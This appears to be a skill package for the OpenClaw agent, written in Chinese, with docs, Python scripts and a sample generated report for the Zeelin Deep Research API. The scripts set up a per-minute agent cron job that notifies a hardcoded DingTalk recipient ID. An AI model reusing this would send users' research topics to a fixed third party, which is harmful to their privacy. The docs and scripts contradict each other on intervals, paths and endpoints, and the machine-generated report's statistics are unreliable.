Skill: angelandpeiqi/desearch-skill (version 1.0.0)

--- name: zeelin-deep-research description: 调用Zeelin Deep Research API进行深度研究任务。完全异步处理：提交任务后立即返回，后台进程自动确认大纲并定时检查任务状态，任务完成后自动保存md文件。自动配置定时通知（每2分钟检查），任务完成后主动通知用户。使用前必须先询问用户思考模式和搜索范围。 --- # Zeelin Deep Research Skill 本skill用于调用Zeelin Deep Research API执行深度研究任务，采用完全异步处理模式。 ## ⚠️ 重要：使用前必须先询问用户 当用户要求进行研究任务时，**必须先询问以下信息**： 1. **思考模式**（必选）： | 模式 | 说明 | 适用场景 | |------|------|----------| | smart | 普通模式 | 快速简单的问题 | | deep | 深度模式 (~5000字) | 论文、竞品调研、中度报告 | | major | 专家模式 (~10000+字) | 深度研究报告 | 2. **搜索范围**（必选）： | 范围 | 说明 | |------|------| | web | 全网搜索 | | academic | 学术搜索 | | selected | 精选 | 3. **研究主题**（必选）：用户想要研究的具体问题 ## 配置 API Key ### 方式1：命令行设置（推荐） ```bash python3 scripts/async_runner.py --set-key "YOUR_API_KEY" ``` ### 方式2：配置文件 ```bash echo '{"api_key": "YOUR_API_KEY"}' > ~/.openclaw/zeelin-config.json ``` 获取 API Key：https://desearch.zeelin.cn ## 使用方法 ### 1. 检查 API Key ```bash python3 scripts/async_runner.py --check-key ``` ### 2. 提交任务 ```bash cd ~/.openclaw/workspace/skills/zeelin-deep-research python3 scripts/async_runner.py -q "研究主题" -t deep -sr web ``` ## 功能特性 1. **异步提交**：提交任务后立即返回，不阻塞 2. **自动确认大纲**：后台进程自动调用 confirmOutline 3. **定时检查**：每30秒检查一次任务状态 4. **自动通知**：cron 定时（每2分钟）检查任务完成状态，任务完成后主动通知用户 5. **自动保存**：完成后自动保存 md 文件到 /tmp/ ## 结果文件 任务完成后，md 文件自动保存到： ``` ~/.openclaw/workspace/skills/zeelin-deep-research/reports/zeelin_主题_时间戳.md ``` ## Cron 定时器 - **间隔**：每1分钟 - **功能**：检查任务完成状态 - **通知**：任务完成后主动发送消息给用户

path: skill/INSTALL.md
content: # Zeelin Deep Research Skill 安装指南

## 简介

Zeelin Deep Research 是一个深度研究技能，可以自动完成主题研究并生成报告。

## 前置要求

1. OpenClaw 已安装
2. Zeelin API Key（https://desearch.zeelin.cn 注册获取）

## 安装步骤

### 1. 安装 Skill

```bash
# 复制 skill 文件到 skills 目录
cp -r zeelin-deep-research ~/.openclaw/workspace/skills/

# 或解压压缩包
tar -xzvf zeelin-deep-research.tar.gz -C ~/.openclaw/workspace/skills/
```

### 2. 配置 API Key

```bash
# 创建配置文件
mkdir -p ~/.openclaw
cat > ~/.openclaw/zeelin-config.json << 'EOF'
{
  "api_key": "你的API_Key"
}
EOF
```

### 3. 使用方法

提交研究任务：

```bash
cd ~/.openclaw/workspace/skills/zeelin-deep-research
python3 scripts/async_runner.py -q "你的研究主题" -t deep -sr web
```

参数说明：
- `-q` 或 `--query`: 研究主题（必填）
- `-t` 或 `--thinking`: 思考模式
  - `smart`: 普通模式（快速）
  - `deep`: 深度模式（详细）
  - `major`: 专家模式
- `-sr` 或 `--search-range`: 搜索范围
  - `web`: 全网搜索
  - `academic`: 学术搜索
  - `selected`: 精选

## 报告位置

研究报告自动保存在：
```
~/.openclaw/workspace/skills/zeelin-deep-research/reports/
```

## 文件说明

```
zeelin-deep-research/
├── SKILL.md              # Skill 说明文档
├── references/           # 参考资料
│   ├── config.md
│   └── async-pattern.md
├── scripts/              # 脚本文件
│   ├── async_runner.py   # 主程序（提交任务+后台监控）
│   └── check_zeelin_complete.py  # Cron 检查脚本
└── reports/             # 报告输出目录
    └── zeelin-*.md       # 生成的研究报告
```

## 注意事项

1. API Key 需要从 https://desearch.zeelin.cn 获取
2. 深度模式(deep)研究时间较长，通常需要10-20分钟
3. 任务完成后会自动通过钉钉发送通知

## 故障排除

如果通知没有收到，检查：
1. API Key 是否正确配置
2. 钉钉是否正常连接
3. 查看日志：`cat ~/.openclaw/workspace/skills/zeelin-deep-research/reports/zeelin-research.log`


path: INSTALL.md
content: # Zeelin Deep Research Skill 安装指南

## 简介

Zeelin Deep Research 是一个深度研究技能，可以自动完成主题研究并生成报告。

## 前置要求

1. OpenClaw 已安装
2. Zeelin API Key（https://desearch.zeelin.cn 注册获取）

## 安装步骤

### 1. 安装 Skill

```bash
# 复制 skill 文件到 skills 目录
cp -r zeelin-deep-research ~/.openclaw/workspace/skills/

# 或解压压缩包
tar -xzvf zeelin-deep-research.tar.gz -C ~/.openclaw/workspace/skills/
```

### 2. 配置 API Key

```bash
# 创建配置文件
mkdir -p ~/.openclaw
cat > ~/.openclaw/zeelin-config.json << 'EOF'
{
  "api_key": "你的API_Key"
}
EOF
```

### 3. 使用方法

提交研究任务：

```bash
cd ~/.openclaw/workspace/skills/zeelin-deep-research
python3 scripts/async_runner.py -q "你的研究主题" -t deep -sr web
```

参数说明：
- `-q` 或 `--query`: 研究主题（必填）
- `-t` 或 `--thinking`: 思考模式
  - `smart`: 普通模式（快速）
  - `deep`: 深度模式（详细）
  - `major`: 专家模式
- `-sr` 或 `--search-range`: 搜索范围
  - `web`: 全网搜索
  - `academic`: 学术搜索
  - `selected`: 精选

## 报告位置

研究报告自动保存在：
```
~/.openclaw/workspace/skills/zeelin-deep-research/reports/
```

## 文件说明

```
zeelin-deep-research/
├── SKILL.md              # Skill 说明文档
├── references/           # 参考资料
│   ├── config.md
│   └── async-pattern.md
├── scripts/              # 脚本文件
│   ├── async_runner.py   # 主程序（提交任务+后台监控）
│   └── check_zeelin_complete.py  # Cron 检查脚本
└── reports/             # 报告输出目录
    └── zeelin-*.md       # 生成的研究报告
```

## 注意事项

1. API Key 需要从 https://desearch.zeelin.cn 获取
2. 深度模式(deep)研究时间较长，通常需要10-20分钟
3. 任务完成后会自动通过钉钉发送通知

## 故障排除

如果通知没有收到，检查：
1. API Key 是否正确配置
2. 钉钉是否正常连接
3. 查看日志：`cat ~/.openclaw/workspace/skills/zeelin-deep-research/reports/zeelin-research.log`


path: references/config.md
content: # Zeelin API 配置指南

## 获取API Key

1. 访问 https://desearch.zeelin.cn
2. 注册/登录账号
3. 进入个人中心 -> API管理
4. 创建新的API Key

## 配置方式

### 方式1：环境变量（推荐）

```bash
export ZEELIN_API_KEY="your-api-key"
```

### 方式2：配置文件

创建 `~/.openclaw/zeelin-config.json`:

```json
{
  "api_key": "your-api-key",
  "base_url": "https://desearch.zeelin.cn/api",
  "default_mode": "deep",
  "default_interval": 30,
  "default_timeout": 3600
}
```

### 方式3：在OpenClaw中配置

```bash
openclaw config set plugins.entries.zeelin-deep-research.config.apiKey "your-api-key"
```

## 测试配置

```bash
# 测试API连接
python3 scripts/submit_research.py --query "测试" --mode basic

# 应该返回task_id
```


path: references/async-pattern.md
content: # Zeelin Deep Research - 异步任务处理指南

## 问题背景

Deep Research任务是一个长时任务，可能需要数分钟到数十分钟。如果让Agent一直阻塞等待，会导致：
1. 会话超时
2. 资源浪费
3. 用户体验差

## 解决方案

采用**异步模式 + 定时检查**的方案：

### 方案1：后台任务 + 轮询

```python
# 在agent中执行
import subprocess
import time

# 1. 提交任务，后台运行
result = subprocess.run([
    "python3", "scripts/submit_research.py",
    "--query", "分析小米汽车市场",
    "--output", "/tmp/task_id.txt"
], capture_output=True)

# 2. 读取task_id
with open("/tmp/task_id.txt") as f:
    task_id = f.read().strip()

# 3. 启动后台监控（非阻塞）
subprocess.Popen([
    "python3", "scripts/check_status.py",
    "--task-id", task_id,
    "--watch",
    "--output", "/tmp/result.json",
    "--interval", "30",
    "--timeout", "3600"
])

# 4. 立即返回，告诉用户如何获取结果
return f"任务已提交，ID: {task_id}。结果将保存到 /tmp/result.json"
```

### 方案2：使用Webhook回调

```python
# 提交任务时指定webhook
result = submit_research(
    query="分析市场趋势",
    webhook="https://your-server.com/callback"
)
# 任务完成后自动推送结果到你的服务器
```

### 方案3：Cron定时检查

```bash
# 每5分钟检查一次
*/5 * * * * python3 /path/to/check_status.py --task-id YOUR_TASK_ID --output /path/to/result.json
```

## Agent使用流程

```
用户: 帮我研究一下新能源汽车市场

Agent:
1. 调用 submit_research.py 提交任务
2. 获取 task_id
3. 返回用户: "任务已提交 (ID: xxx)，预计需要5-10分钟。我会定期检查并在完成后通知你。"
4. (可选) 启动后台进程监控状态
5. (可选) 通过cron定期检查
```

## 状态码说明

| 状态 | 说明 |
|------|------|
| pending | 等待处理 |
| processing | 处理中 |
| completed | 完成 |
| failed | 失败 |

## 超时建议

| 研究模式 | 建议超时 |
|----------|----------|
| basic | 300秒 |
| deep | 1800秒 |
| industry | 3600秒 |
| expert | 7200秒 |


path: scripts/check_zeelin_complete.py
content: #!/usr/bin/env python3
"""
Zeelin 任务完成检查脚本
"""

import os
import json
import requests
from datetime import datetime

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
SKILL_DIR = os.path.dirname(SCRIPT_DIR)
REPORTS_DIR = os.path.join(SKILL_DIR, "reports")
os.makedirs(REPORTS_DIR, exist_ok=True)

CONFIG_FILE = os.path.expanduser("~/.openclaw/zeelin-config.json")
STATUS_FILE = os.path.join(REPORTS_DIR, "zeelin-research-status.json")
NOTIFIED_FILE = os.path.join(REPORTS_DIR, "zeelin-last-notified.json")

def get_api_key():
    if os.path.exists(CONFIG_FILE):
        with open(CONFIG_FILE) as f:
            config = json.load(f)
            return config.get("api_key")
    return None

def check_current_session():
    [REDACTED_SECRET])
    if not [REDACTED_SECRET]
    
    if not os.path.exists(STATUS_FILE):
        return
    
    with open(STATUS_FILE) as f:
        status = json.load(f)
    
    session_id = status.get("session_id")
    query = status.get("query", "")
    
    if not session_id:
        return
    
    # 检查是否已通知过
    if os.path.exists(NOTIFIED_FILE):
        with open(NOTIFIED_FILE) as f:
            notified = json.load(f)
        if notified.get("session_id") == session_id:
            return
    
    # 直接检查API状态
    try:
        url = "https://desearch.zeelin.cn/api/conversation/status"
        headers = {"x-api-key": api_key}
        params = {"sessionId": session_id}
        response = requests.get(url, headers=headers, params=params, timeout=30)
        data = response.json()
        
        if data.get("code") != 200:
            return
        
        api_data = data.get("data", {})
        api_status = api_data.get("status")
        md_url = api_data.get("mdUrl", "")
        
        if api_status == 2 and md_url:
            progress = status.get("progress", "")
            output_file = None
            if "完成:" in progress:
                output_file = progress.split("完成:")[1].strip()
                if not os.path.exists(output_file):
                    output_file = None
            
            if not output_file:
                r = requests.get(md_url, timeout=60)
                if r.status_code == 200:
                    safe_query = "".join(c for c in query if c.isalnum() or c in " -_")[:20]
                    output_file = f"{REPORTS_DIR}/zeelin_{safe_query}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md"
                    with open(output_file, "w", encoding="utf-8") as f:
                        f.write(r.text)
            
            if output_file:
                print(f"🎉 研究任务已完成！\n\n主题：{query}\n文件：{output_file}")
                
                # 记录已通知
                with open(NOTIFIED_FILE, "w") as f:
                    json.dump({"session_id": session_id, "query": query}, f, ensure_ascii=False)
                return
                
    except:
        pass

if __name__ == "__main__":
    check_current_session()


path: scripts/submit_research.py
content: #!/usr/bin/env python3
"""
Zeelin Deep Research - Submit Research Task
提交深度研究任务，返回task_id用于后续查询
"""

import argparse
import json
import os
import requests
import sys

API_BASE_URL = "https://desearch.zeelin.cn/api"

def submit_research(query: str, mode: str = "deep", api_key: str = None, **kwargs) -> dict:
    """提交深度研究任务"""
    
    # 获取API Key
    if not [REDACTED_SECRET] = os.environ.get("ZEELIN_API_KEY")
        if not api_key:
            # 尝试从配置文件读取
            config_path = os.path.expanduser("~/.openclaw/zeelin-config.json")
            if os.path.exists(config_path):
                with open(config_path) as f:
                    config = json.load(f)
                    [REDACTED_SECRET]"api_key")
    
    if not api_key:
        raise ValueError("请设置ZEELIN_API_KEY环境变量或配置文件")
    
    url = f"{API_BASE_URL}/deep-research/submit"
    headers = {
        "Authorization": f"Bearer {api_key}",
        "Content-Type": "application/json"
    }
    
    payload = {
        "query": query,
        "mode": mode,
        **kwargs
    }
    
    response = requests.post(url, headers=headers, json=payload)
    response.raise_for_status()
    
    return response.json()


def main():
    parser = argparse.ArgumentParser(description="提交Zeelin深度研究任务")
    parser.add_argument("--query", "-q", required=True, help="研究主题")
    parser.add_argument("--mode", "-m", default="deep", 
                       choices=["basic", "deep", "industry", "expert"],
                       help="研究模式")
    parser.add_argument("--api-key", help="API Key (可选，默认从环境变量读取)")
    parser.add_argument("--output", "-o", help="保存任务ID到文件")
    
    args = parser.parse_args()
    
    try:
        result = submit_research(args.query, args.mode, args.api_key)
        
        print(json.dumps(result, ensure_ascii=False, indent=2))
        
        # 保存task_id到文件
        if args.output:
            task_id = result.get("data", {}).get("task_id")
            if task_id:
                with open(args.output, "w") as f:
                    f.write(task_id)
                print(f"\n任务ID已保存到: {args.output}")
        
        # 输出task_id
        task_id = result.get("data", {}).get("task_id")
        if task_id:
            print(f"\n任务ID: {task_id}")
            print(f"查询状态: python3 scripts/check_status.py --task-id {task_id}")
        
    except Exception as e:
        print(f"错误: {e}", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()


path: scripts/async_runner.py
content: #!/usr/bin/env python3
"""
Zeelin Deep Research - 完全异步任务处理器
- 提交任务后立即返回
- 后台进程持续监控
- 自动确认大纲
- 任务完成后通知
"""

import argparse
import json
import os
import sys
import time
import requests
import subprocess
import signal
from datetime import datetime

API_BASE_URL = "https://desearch.zeelin.cn"
import os
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
SKILL_DIR = os.path.dirname(SCRIPT_DIR)
REPORTS_DIR = os.path.join(SKILL_DIR, "reports")

STATUS_FILE = os.path.join(REPORTS_DIR, "zeelin-research-status.json")
NOTIFIED_FILE = os.path.join(REPORTS_DIR, "zeelin-last-notified.json")
PID_FILE = os.path.join(REPORTS_DIR, "zeelin-research.pid")
LOG_FILE = os.path.join(REPORTS_DIR, "zeelin-research.log")
CONFIG_FILE = os.path.expanduser("~/.openclaw/zeelin-config.json")

STATUS_MAP = {1: "进行中", 2: "已完成"}
CRON_JOB_NAME = "zeelin-check"

def log(msg):
    ts = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print(f"[{ts}] {msg}")
    with open(LOG_FILE, "a") as f:
        f.write(f"[{ts}] {msg}\n")

def add_cron_job():
    """创建定时任务"""
    try:
        # 先删除可能存在的旧任务
        subprocess.run(["openclaw", "cron", "rm", CRON_JOB_NAME], capture_output=True)
        # 创建新任务：每1分钟检查一次
        result = subprocess.run([
            "openclaw", "cron", "add",
            "--name", CRON_JOB_NAME,
            "--every", "1m",
            "--message", "python3 ~/.openclaw/workspace/skills/zeelin-deep-research/scripts/check_zeelin_complete.py",
            "--timeout-seconds", "60",
            "--channel", "dingtalk",
            "--to", "0211560138072828"
        ], capture_output=True, text=True, timeout=30)
        if result.returncode == 0:
            log("定时任务已创建")
        else:
            log(f"创建定时任务失败: {result.stderr}")
    except Exception as e:
        log(f"创建定时任务错误: {e}")

def remove_cron_job():
    """删除定时任务"""
    try:
        # 先获取任务ID
        result = subprocess.run(["openclaw", "cron", "list"], capture_output=True, text=True, timeout=30)
        if result.returncode == 0:
            # 查找zeelin-check任务的ID
            for line in result.stdout.split('\n'):
                if CRON_JOB_NAME in line:
                    parts = line.split()
                    if parts:
                        job_id = parts[0]
                        subprocess.run(["openclaw", "cron", "rm", job_id], capture_output=True, text=True, timeout=30)
                        log("定时任务已删除")
                        return
        log("未找到定时任务")
    except Exception as e:
        log(f"删除定时任务错误: {e}")

def get_api_key():
    """从配置文件读取API Key"""
    if os.path.exists(CONFIG_FILE):
        with open(CONFIG_FILE) as f:
            config = json.load(f)
            return config.get("api_key")
    return None

def check_status(session_id, api_key):
    url = f"{API_BASE_URL}/api/conversation/status"
    headers = {"x-api-key": api_key, "Content-Type": "application/json"}
    params = {"sessionId": session_id}
    r = requests.get(url, headers=headers, params=params, timeout=30)
    return r.json()

def confirm_outline(session_id, question_id, api_key):
    url = f"{API_BASE_URL}/api/conversation/re_chat"
    headers = {"x-api-key": api_key, "Content-Type": "application/json"}
    payload = {"sessionId": session_id, "questionId": str(question_id), "confirmOutline": True}
    try:
        r = requests.post(url, headers=headers, json=payload, timeout=30)
        return r.json()
    except:
        return {"code": -1}

def get_history(session_id, api_key):
    url = f"{API_BASE_URL}/api/conversation/history"
    headers = {"x-api-key": api_key, "Content-Type": "application/json"}
    params = {"sessionId": session_id, "pageSize": "50", "pageNo": "1"}
    r = requests.get(url, headers=headers, params=params, timeout=30)
    return r.json()

def has_content(history):
    for item in history.get("data", []):
        for ans in item.get("answers", []):
            if ans.get("contentType") == "text" and len(ans.get("content", "")) > 1000:
                return True
    return False

def save_result(session_id, query):
    [REDACTED_SECRET])
    history = get_history(session_id, api_key)
    safe_q = "".join(c for c in query if c.isalnum() or c in " -_")[:20]
    out_file = f"{REPORTS_DIR}/zeelin_{safe_q}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md"
    
    md = f"# {query}\n\n> 生成时间: {datetime.now()}\n\n---\n\n"
    for item in history.get("data", []):
        for ans in item.get("answers", []):
            if ans.get("contentType") == "text":
                md += ans.get("content", "") + "\n\n"
    
    with open(out_file, "w", encoding="utf-8") as f:
        f.write(md)
    return out_file

def save_status(session_id, query, status, progress):
    with open(STATUS_FILE, "w") as f:
        json.dump({
            "session_id": session_id,
            "query": query,
            "status": status,
            "progress": progress,
            "last_check": datetime.now().isoformat()
        }, f, ensure_ascii=False, indent=2)

def monitor(session_id, question_id, query, interval=30, timeout=3600):
    """后台监控主循环"""
    # 保存PID
    with open(PID_FILE, "w") as f:
        f.write(str(os.getpid()))
    
    [REDACTED_SECRET])
    if not api_key:
        log("错误: 没有API Key")
        return
    
    log(f"开始监控: {session_id}")
    start = time.time()
    outline_confirmed = False
    
    while True:
        # 超时检查
        if time.time() - start > timeout:
            log("超时退出")
            save_status(session_id, query, -1, "超时")
            break
        
        try:
            # 检查状态
            result = check_status(session_id, api_key)
            data = result.get("data", {})
            status = data.get("status", 1)
            msg = data.get("message", "")
            md_url = data.get("mdUrl", "")
            
            # 检查历史内容
            history = get_history(session_id, api_key)
            has_c = has_content(history)
            
            log(f"状态: {status} - {msg}")
            
            # 自动确认大纲
            if not outline_confirmed and status == 1:
                cr = confirm_outline(session_id, question_id, api_key)
                if cr.get("code") == 200:
                    log("大纲已确认")
                    outline_confirmed = True
            
            # 检查完成
            if (md_url and has_c) or (status == 2 and has_c):
                log("任务完成!")
                out_file = save_result(session_id, query)
                log(f"文件: {out_file}")
                # 保存状态
                with open(STATUS_FILE, "w") as f:
                    json.dump({
                        "session_id": session_id,
                        "query": query,
                        "status": 2,
                        "progress": f"完成: {out_file}",
                        "last_check": datetime.now().isoformat()
                    }, f, ensure_ascii=False, indent=2)
                
                # 等待90秒让cron有机会检测并发送通知
                log("等待cron发送通知...")
                time.sleep(90)
                
                # 删除定时任务
                remove_cron_job()
                break
            
            time.sleep(interval)
            
        except Exception as e:
            log(f"错误: {e}")
            time.sleep(5)
    
    # 清理PID
    if os.path.exists(PID_FILE):
        os.remove(PID_FILE)

def main():
    p = argparse.ArgumentParser()
    p.add_argument("--query", "-q")
    p.add_argument("--thinking", "-t", default="deep")
    p.add_argument("--search-range", "-sr", default="web")
    p.add_argument("--monitor", action="store_true")
    p.add_argument("--session-id", "-s")
    p.add_argument("--question-id", "-qid")
    p.add_argument("--interval", "-i", type=int, default=30)
    p.add_argument("--timeout", "-o", type=int, default=3600)
    p.add_argument("--status", action="store_true")
    p.add_argument("--check-key", action="store_true")
    p.add_argument("--set-key")
    args = p.parse_args()
    
    # 设置Key
    if args.set_key:
        with open(CONFIG_FILE, "w") as f:
            json.dump({"api_key": args.set_key}, f)
        print("API Key已保存")
        return
    
    # 检查Key
    if args.check_key:
        key = get_api_key()
        if key:
            print("✅ API Key有效")
        else:
            print("❌ 没有API Key")
        return
    
    # 查状态
    if args.status:
        if os.path.exists(STATUS_FILE):
            print(json.dumps(json.load(open(STATUS_FILE)), indent=2))
        else:
            print("无状态")
        return
    
    # 后台监控
    if args.monitor and args.session_id:
        monitor(args.session_id, args.question_id, args.query, args.interval, args.timeout)
        return
    
    # 提交任务
    if args.query:
        [REDACTED_SECRET])
        if not [REDACTED_SECRET]"请先设置API Key: --set-key YOUR_KEY")
            return
        
        # 提交
        url = f"{API_BASE_URL}/api/conversation/anew"
        headers = {"x-api-key": api_key, "Content-Type": "application/json"}
        payload = {"content": args.query, "thinking": args.thinking, "workflow": "", "moreSettings": {"search_range": args.search_range}}
        
        r = requests.post(url, headers=headers, json=payload, timeout=30)
        result = r.json()
        
        if result.get("code") != 200:
            print(f"提交失败: {result.get('msg')}")
            return
        
        data = result.get("data", {})
        session_id = data.get("sessionId")
        question_id = data.get("questionId")
        
        print(f"✅ 任务提交成功!")
        print(f"Session: {session_id}")
        
        # 清除上次通知标记
        if os.path.exists(NOTIFIED_FILE):
            os.remove(NOTIFIED_FILE)
        
        # 创建定时任务监控
        add_cron_job()
        
        # 更新状态文件
        save_status(session_id, args.query, 1, "已提交")
        
        # 启动后台监控 - 使用nohup确保持续运行
        script = os.path.abspath(__file__)
        import subprocess
        subprocess.Popen(
            [sys.executable, script, "--monitor", "-s", session_id, "-qid", str(question_id), "-q", args.query],
            stdout=open("/tmp/zeelin-monitor.log", "a"),
            stderr=open("/tmp/zeelin-monitor.log", "a"),
            start_new_session=True
        )
        
        print("后台监控已启动")
        return
    
    p.print_help()

if __name__ == "__main__":
    main()


path: scripts/check_status.py
content: #!/usr/bin/env python3
"""
Zeelin Deep Research - Check Task Status
检查任务状态，支持轮询模式
"""

import argparse
import json
import os
import sys
import time
import requests
from datetime import datetime

API_BASE_URL = "https://desearch.zeelin.cn/api"

# 任务状态
STATUS_PENDING = "pending"
STATUS_PROCESSING = "processing"
STATUS_COMPLETED = "completed"
STATUS_FAILED = "failed"


def check_status(task_id: str, api_key: str = None) -> dict:
    """检查任务状态"""
    
    if not [REDACTED_SECRET] = os.environ.get("ZEELIN_API_KEY")
        if not [REDACTED_SECRET] = os.path.expanduser("~/.openclaw/zeelin-config.json")
            if os.path.exists(config_path):
                with open(config_path) as f:
                    config = json.load(f)
                    [REDACTED_SECRET]"api_key")
    
    if not api_key:
        raise ValueError("请设置ZEELIN_API_KEY环境变量或配置文件")
    
    url = f"{API_BASE_URL}/deep-research/status/{task_id}"
    headers = {
        "Authorization": f"Bearer {api_key}",
        "Content-Type": "application/json"
    }
    
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    
    return response.json()


def wait_for_completion(
    task_id: str,
    interval: int = 30,
    timeout: int = 3600,
    api_key: str = None,
    on_progress: callable = None
) -> dict:
    """
    等待任务完成（轮询模式）
    
    Args:
        task_id: 任务ID
        interval: 检查间隔（秒）
        timeout: 超时时间（秒）
        api_key: API Key
        on_progress: 进度回调函数
    
    Returns:
        任务结果
    """
    start_time = time.time()
    last_status = None
    
    print(f"开始监控任务: {task_id}")
    print(f"检查间隔: {interval}秒, 超时时间: {timeout}秒")
    print("-" * 50)
    
    while True:
        # 检查超时
        elapsed = time.time() - start_time
        if elapsed > timeout:
            raise TimeoutError(f"任务超时 ({timeout}秒)")
        
        try:
            result = check_status(task_id, api_key)
            data = result.get("data", {})
            status = data.get("status", STATUS_PENDING)
            
            # 状态变化时打印
            if status != last_status:
                last_status = status
                print(f"[{datetime.now().strftime('%H:%M:%S')}] 状态: {status}")
            
            # 进度回调
            if on_progress:
                on_progress(status, data)
            
            # 任务完成
            if status == STATUS_COMPLETED:
                print("-" * 50)
                print("任务完成!")
                return data
            
            # 任务失败
            if status == STATUS_FAILED:
                error = data.get("error", "未知错误")
                raise RuntimeError(f"任务失败: {error}")
            
            # 等待下次检查
            time.sleep(interval)
            
        except requests.exceptions.RequestException as e:
            print(f"网络错误: {e}, 5秒后重试...")
            time.sleep(5)


def main():
    parser = argparse.ArgumentParser(description="检查Zeelin深度研究任务状态")
    parser.add_argument("--task-id", "-t", required=True, help="任务ID")
    parser.add_argument("--api-key", help="API Key")
    parser.add_argument("--interval", "-i", type=int, default=30, help="检查间隔(秒)")
    parser.add_argument("--timeout", "-o", type=int, default=3600, help="超时时间(秒)")
    parser.add_argument("--watch", "-w", action="store_true", help="持续监控直到完成")
    parser.add_argument("--output", help="结果保存到文件")
    
    args = parser.parse_args()
    
    try:
        if args.watch:
            # 轮询模式
            result = wait_for_completion(
                args.task_id,
                interval=args.interval,
                timeout=args.timeout,
                [REDACTED_SECRET]
            )
            
            # 保存结果
            if args.output:
                with open(args.output, "w", encoding="utf-8") as f:
                    json.dump(result, f, ensure_ascii=False, indent=2)
                print(f"\n结果已保存到: {args.output}")
            
            # 打印结果
            print("\n" + "=" * 50)
            print("研究结果:")
            print("=" * 50)
            content = result.get("content", "")
            print(content[:5000] if content else "无内容")
            
        else:
            # 单次查询
            result = check_status(args.task_id, args.api_key)
            print(json.dumps(result, ensure_ascii=False, indent=2))
            
            # 保存到文件
            if args.output:
                with open(args.output, "w", encoding="utf-8") as f:
                    json.dump(result, f, ensure_ascii=False, indent=2)
                print(f"\n结果已保存到: {args.output}")
    
    except Exception as e:
        print(f"错误: {e}", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()


path: reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md
content: # openclaw实际的需求有哪些

> 生成时间: 2026-03-04 14:04:00.010446

---

# OpenClaw 真实需求全景解构：从个人效率到企业落地的 6 大痛点与 30+ 场景验证

## 一、需求溯源：OpenClaw 爆火背后的宏观痛点

### 1. AI 从“对话”到“动手”的代际断层

人工智能助手的发展经历了从“知识顾问”到“执行代理”的关键跃迁。传统AI如ChatGPT本质上是“知识渊博的顾问”，停留在对话层面，无法主动完成具体任务[^3]。而OpenClaw则被定义为“行动型AI助手”，标志着AI从“会说话”向“会做事”的重大进化[^3]。这种转变直击用户在数字工作流中的核心痛点：信息获取已不再是瓶颈，真正的瓶颈在于将信息转化为行动。

OpenClaw的核心定位是“可执行系统任务的个人AI助手”，能够通过自然语言指令主动调用系统资源、访问外部API并执行具体操作，完成文件管理、日程安排、编程开发、邮件处理等自动化任务[^2]。这种能力的实现依赖于其独特的技术架构：内置Playwright驱动的Headless浏览器引擎可直接操控Chrome/Edge/Firefox完成点击、滑动、验证码识别；同时通过Node-ffi调用Win32/macOS/Linux系统API，实现端到端的自动化流程[^104]。

用户@科技小辛的实测案例生动展示了这一代际差异：通过Telegram发送“帮我跟销售砍价3万”，OpenClaw自动调用浏览器脚本，在官网反复提交议价表单，最终帮其节省2.4万元购车款[^96]。这种“数字员工”的能力远超传统聊天机器人的信息提供功能，真正实现了从意图到结果的闭环。

### 2. 云端依赖与数据主权冲突

在数据隐私日益成为核心关切的背景下，OpenClaw的“本地优先”架构解决了云端AI助手的根本性缺陷。与传统云端AI助手不同，OpenClaw的核心理念是：“AI不应只是回答问题，而应主动帮你完成任务。它运行在你自己的设备上（笔记本、私有服务器、家庭实验室），通过本地网关处理所有请求，数据永不上传第三方服务器”[^4]。

这种本地化部署模式满足了对数据隐私极度敏感的用户群体需求。所有在OpenClaw中产生的记忆、文件索引和个人习惯都储存在用户自己的本地工作区（Memory.md、索引数据库、Skills脚本等）中，在本地部署场景下，用户对数据有更高的可控性，也更容易做权限和备份管理[^22]。对于金融、医疗、律所等对数据合规有严格要求的行业，这种“数据不出户”的特性尤为重要[^34]。

OpenClaw采用“本地优先”架构不仅保障了数据隐私，还满足了GDPR/国密等合规要求，打消了企业“把核心流程交给云端AI”的顾虑[^44]。正如知乎用户所言：“在云端AI助手时代，隐私是最大的奢侈品。OpenClaw坚持本地优先。你的聊天记录、API密钥、文件文档全都存在本地”[^92]。

### 3. 重复性数字劳动的规模与成本测算

现代职场中，重复性数字劳动占据了大量工作时间。OpenClaw的出现正是为了应对这一普遍痛点。职场人日常面临文件杂乱、邮件泛滥、会议纪要熬夜整理等机械性工作[^49]。普通用户最头疼的莫过于下载目录堆满无规律命名的压缩包、发票扫描件、合同PDF，手动重命名、分类、归档耗时又易错[^41]。

OpenClaw通过自动化处理这些重复任务，显著节省时间成本。实测数据显示，在典型场景下，OpenClaw能实现75-94%的时间节省：邮件处理从1小时缩短到15分钟（75%节省），周报撰写从3小时变为自动生成（>94%节省），自媒体内容生产从2-3小时/篇减少到30分钟/篇（≈83%节省），量化策略研发从2周压缩到4小时（92%节省），发票分类与Excel填表从1小时降至6分钟（90%节省）[^43]。

这种效率提升不仅体现在个人层面，对企业而言更是显著的人力成本节约。社区仓库awesome-openclaw-usecases收录的34个用例平均节省人力2.1 FTE/年[^32]。对于中小企业而言，这意味着可以用极低的成本获得相当于2个全职员工的生产力提升，这对于轻量IT预算下的数字化转型具有决定性意义。

## 二、用户画像：谁在深夜安装 OpenClaw？

### 1. 技术极客：自动化信仰与二次开发红利

技术极客构成了OpenClaw的核心用户群体。国内社区调研（N=3827）显示，个人开发者占比46%，是最大的用户类别[^102]。这些用户不仅将OpenClaw视为效率工具，更将其作为技术探索和二次开发的平台。OpenClaw坚持100% MIT开源协议，代码仓库与Skill SDK完全公开，任何企业或个人都可进行二次开发[^44]。

技术极客被OpenClaw的“执行力和可扩展性”所吸引[^33]。其全能工具链内置浏览器自动化、文件读写、Shell命令执行等功能，配合超过5,700个技能插件，涵盖了从自动预订餐厅、处理保险索赔到管理复杂金融账单的各类场景[^33]。更重要的是，OpenClaw的“热插拔技能+配置即代码”设计，使技能包实质成为带metadata的Docker镜像，开发者推送新镜像后，用户端无需重启即可热更新；配置全部用YAML描述，可被Git版本管理，满足“基础设施即代码”爱好者的需求[^104]。

